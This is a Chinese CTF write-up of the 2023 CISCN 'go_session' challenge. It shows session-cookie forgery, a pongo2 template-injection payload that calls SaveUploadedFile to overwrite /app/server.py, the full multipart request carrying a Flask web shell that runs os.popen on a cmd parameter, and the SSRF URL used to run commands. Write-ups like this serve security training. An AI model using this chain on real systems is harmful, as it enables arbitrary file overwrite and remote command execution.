2023CISCN go_session

今天来做一道国赛题练习一下,环境用的是ctfshow

打开题目后显示Hello, guest

下载附件进行分析,可以看到有三个文件

main.go可以看到有三个路由

然后route.go代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

其中NewCookieStore([]byte(os.Getenv("SESSION_KEY")))表示从环境变量中获取SESSION_KEY并转化为字节切片,然后将其作为session的密钥进行签名认证

函数Index设置session默认权限为guestAdmin则校验是否是admin权限,满足的话则可以传参进行ssti;Flask则表示访问http://127.0.0.1:5000/并加上用户传递的参数

了解完题目情况后就可以开始做题,首先是解决权限问题,因为不知道题目环境变量中SESSION_KEY的值是什么,我们可以猜测它的值为空,在本地修改文件运行伪造session即可

修改Index函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
// 改为如果不为admin,就设置为admin
if session.Values["name"] != "admin" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, admin")
}

本地运行,然后获取session值

复制到题目环境里覆盖掉原有的cookie,然后访问/admin

可以正常访问,也就是成功获取了admin权限

在Admin函数里面可以看到用的是pongo2模板,/admin传参?name={{pongo2.version}},可以看到回显版本号

但是题目里有xssWaf := html.EscapeString(name),跟进EscapeString函数

可以看到会将特殊字符进行html实体编码,就导致我们常规的ssti打法不能用,例如{{include "/etc/passwd"}},需要想办法绕过这个waf

继续分析,Flask函数可以访问http://127.0.0.1:5000/并加上用户传递的参数,然后name的默认值为guest,初步尝试,发现name传值为空时,会导致页面错误

但是网页并没有渲染,这样看着不方便,可以复制下来本地保存为html,然后再打开就可以正常分析了

可以看到报的是400错误,也就是缺少name参数,继续分析,在下面可以看到/app/server.py的源码

这里设置了debug=True,也就意味着开启了热加载功能,修改文件代码后直接刷新页面就能看到效果,无需重启进程;同时还会显示traceback 的调试页面,也就是我们上面看到的页面。可以说这个就是关键突破口

然后我们可以利用admin路由里的ssti漏洞,想办法污染这个server.py即可

分析Admin函数可以看到,这里将gin.Context对象c注入到pongo2模板的上下文变量中,键名为"c",相当于我们可以通过c对象调用gin.Context的方法

gin.Context如何进一步利用,我们跟进代码看看

可以看到,Context结构体中有一个名为Request的字段,类型为指向http.Request的指针,用来保存当前HTTP请求对象。继续跟进Request看看

Request里面定义了很多函数,例如UserAgent()函数我们就可以拿来传值,这样就可以绕过前面对双引号的限制了

1
c.Request.UserAgent()

同样的,还有很多方法可以用于传值,自由选择就可以

双引号的问题解决了,但是我们如何重写server.py还没解决,继续分析Context结构体,发现有个函数SaveUploadedFile可以将文件上传到指定位置

但我们不知道该函数能否把已经存在的文件给覆盖掉,里面有个os.Create函数,我们查阅官方文档可以看到https://pkg.go.dev/os#Create

如果目标文件已经存在,则会把文件截断为长度0,相当于清空内容,然后再通过后面的io.Copy函数把内容上传上去。这样我们的问题就解决了

SaveUploadedFile函数要求上传的第一个参数为multipart.FileHeader对象,刚好我们在前面看到FormFile函数的第一个返回值就为这个,第二个返回值error会被Pongo2模板引擎自动处理不用管,那我们用FormFile函数来获取该对象就可以

构造payload如下

1
/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}

我们需要用表单形式来提交恶意代码内容,这里需要手动进行构造,然后我这里用User-Agentreferer来传值,当然你也可以用其他的http头,找到对应的函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
User-Agent: a
referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykLBmWN7oHI3H0bOS

------WebKitFormBoundarykLBmWN7oHI3H0bOS
Content-Disposition: form-data; name="a"; filename="server.py"

from flask import *
import os

app = Flask(__name__)
@app.route('/')
def index():
name = request.args['cmd']
cmd = os.popen(name).read()
return cmd

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundarykLBmWN7oHI3H0bOS--

发包,显示Hello !表示成功

最后回到网页访问/flask执行命令即可,需要注意的是,name参数只是用来传参,我们要传入cmd参数才可以执行命令

payload如下,看着有点别扭,但确实是这样写

1
/flask?name=?cmd=ls${IFS}/

最后读取th1s_1s_f13g即可

作者

WayneJoon.H

发布于

2026-01-09

许可协议